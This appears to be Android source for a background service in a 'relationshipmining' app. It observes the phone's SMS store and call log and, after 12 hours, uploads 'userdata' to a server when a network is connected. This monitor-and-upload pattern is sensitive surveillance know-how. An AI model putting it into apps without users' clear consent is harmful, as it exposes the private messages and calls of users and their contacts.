package com.windsea.relationshipmining.services;

import com.windsea.relationshipmining.api.TransferManager;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import android.util.Log;

public class WatcherService extends Service {
	Handler smsHandler, phoneHandler;
	SMSWatcher smsWatcher;
	PhoneWatcher phoneWatcher;
	// private static String TAG = "WatcherService";
	WatcherUpdater updater = null;
	boolean isRunning = false;
	Context context;

	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		// Log.d(TAG, "onCreate");
		updater = new WatcherUpdater();
		startContentObserver();
		context = this;
	}

	@Override
	public IBinder onBind(Intent arg0) {
		// TODO Auto-generated method stub
		return null;
	}

	public void startContentObserver() {
		// SMS log contentObserver
		smsHandler = new Handler();
		smsWatcher = new SMSWatcher(smsHandler, this.getApplicationContext());
		Uri uriSMS = Uri.parse("content://sms");
		getContentResolver().registerContentObserver(uriSMS, true, smsWatcher);

		// Phone log contentObserver
		phoneHandler = new Handler();
		phoneWatcher = new PhoneWatcher(phoneHandler,
				this.getApplicationContext());
		Uri uriPhone = CallLog.Calls.CONTENT_URI;
		getContentResolver().registerContentObserver(uriPhone, false,
				phoneWatcher);

	}

	//

	// @SuppressWarnings("deprecation")
	@Override
	public synchronized void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);

		// Starting the Service is only possible if it's not already running
		if (!this.isRunning) {
			updater.start();
			this.isRunning = true;
		}

	}

	class WatcherUpdater extends Thread {

		static final long SESSIONINTERVAL = 1000 * 60 * 60 * 12; // 12h

		@Override
		public void run() {
			super.run();
			isRunning = true;
			try {
				Thread.sleep(SESSIONINTERVAL);
				ConnectivityManager cm = (ConnectivityManager) context
						.getSystemService(CONNECTIVITY_SERVICE);
				NetworkInfo ninf = cm.getActiveNetworkInfo();
				if (ninf.isConnected()) {
					TransferManager trMana = new TransferManager(context);
					trMana.pushToServer("userdata");
				}

			} catch (InterruptedException e) {
				e.printStackTrace();
				// isRunning = false;
			}

		}

	}

	public boolean isRunning() {
		return this.isRunning;
	}

}
